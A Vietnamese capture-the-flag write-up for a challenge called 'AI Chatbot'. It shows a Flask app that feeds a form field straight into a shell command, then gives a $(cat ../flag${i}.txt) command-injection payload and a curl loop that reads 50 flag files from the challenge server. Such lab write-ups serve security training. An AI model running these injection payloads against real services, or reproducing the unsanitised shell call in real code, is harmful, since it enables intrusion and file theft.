Description

RecruitCTF - AI Chatbot

Approach

Ứng dụng có endpoint /chatbot.html cho phép nhập tên thông qua một POST request:

POST /chatbot.html HTTP/1.1
Host: localhost:12340
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:12340
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:12340/chatbot.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: cookieconsent_status=dismiss; welcomebanner_status=dismiss; language=en; continueCodeFindIt=oMr51PnqeO9V8Q6uKHzIRuBxcajureIpqhoqtOMu0DfDpcWdAbygWlEK6JYw; continueCodeFixIt=QNmqBbow2YDExyduVCrinuzQI38ukni0dIl9hNyu9jhrptPZ1Pv4g7V0nOXe; continueCode=ZYSmHRu6tMceILFjfRHOhOtZsgrueKt28IMLs3aHPEh9NI2bFwQtBWcRpUJMuw7CyOsexiBQcj7
Connection: close
 
name=hello%0D%0A

Tên nhập vào sẽ được chèn vào thẻ <pre class="ai-response"> trong response.

Dockerfile có nội dung như sau:

FROM python:3.10
 
WORKDIR /app
 
COPY src/ .
 
RUN chmod -R 555 /app
 
RUN flag_index=$(shuf -i 1-50 -n 1) \
    && for i in $(seq 1 50); do \
        if [ $i -eq $flag_index ]; then \
            echo "BPCTF{fake-fl4g!}" > /flag$i.txt; \
        else \
            echo "You are the best! Keep playing CTF!" > /flag$i.txt; \
        fi; \
        chmod 444 /flag$i.txt; \
    done
 
RUN pip install --upgrade pip
RUN pip install flask
 
# Set the PORT environment variable
ENV PORT=12340
 
# Make port 12340 available to the world outside this container
EXPOSE 12340
 
RUN /usr/sbin/useradd --no-create-home -u 1000 ctf
USER ctf
 
 
CMD ["python3", "app.py"]

Có thể thấy, index của flag được random trong khoảng 1 đến 50.

Build image và chạy container, truy cập vào thư mục / của container thì ta thấy được 50 file chứa flag:

ctf@6f699ab053a7:/$ ls
app   flag1.txt   flag14.txt  flag19.txt  flag23.txt  flag28.txt  flag32.txt  flag37.txt  flag41.txt  flag46.txt  flag50.txt  home   opt   srv
bin   flag10.txt  flag15.txt  flag2.txt   flag24.txt  flag29.txt  flag33.txt  flag38.txt  flag42.txt  flag47.txt  flag6.txt   lib    proc  sys
boot  flag11.txt  flag16.txt  flag20.txt  flag25.txt  flag3.txt   flag34.txt  flag39.txt  flag43.txt  flag48.txt  flag7.txt   lib64  root  tmp
dev   flag12.txt  flag17.txt  flag21.txt  flag26.txt  flag30.txt  flag35.txt  flag4.txt   flag44.txt  flag49.txt  flag8.txt   media  run   usr
etc   flag13.txt  flag18.txt  flag22.txt  flag27.txt  flag31.txt  flag36.txt  flag40.txt  flag45.txt  flag5.txt   flag9.txt   mnt    sbin  var

Mã nguồn của server:

from flask import Flask, render_template, request
import subprocess
import os
 
app = Flask(__name__)
port = int(os.environ.get('PORT', 12340))
 
@app.route('/')
@app.route('/index.html')
def index():
    return render_template('index.html')
 
@app.route('/chatbot.html', methods=['GET', 'POST'])
@app.route('/chatbot', methods=['GET', 'POST'])
def chatbot():
    if request.method == 'GET':
        return render_template('chatbot.html')
    
    name = request.form['name']
    command = "echo " + name
 
    response = subprocess.run(command, shell=True, capture_output=True)
    return render_template('chatbot.html', name=response.stdout.decode('utf-8'))
        
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=port)

Có thể thấy, giá trị của tham số name được append vào sau chuỗi echo và được thực thi dưới dạng câu lệnh. Xây dựng payload để khai thác như sau:

$(cat ../flag${i}.txt)

Với ../ là để đi ra thư mục / từ thư mục /app${i} là số tăng dần từ 1 đến 50.

URL encode các phần còn lại của payload trừ phần interpolation của index:

%24%28cat%20..%2Fflag${i}.txt%29

Script khai thác:

for i in $(seq 1 50); do
    curl -X POST "http://blackpinker.rocks:30326/chatbot.html" -d "name=%24%28cat%20..%2Fflag${i}.txt%29" | grep "ai-response"
done

Flag

Success

BPCTF{N0w-y0u-kn0w-c0mmand-1nj3ct10n}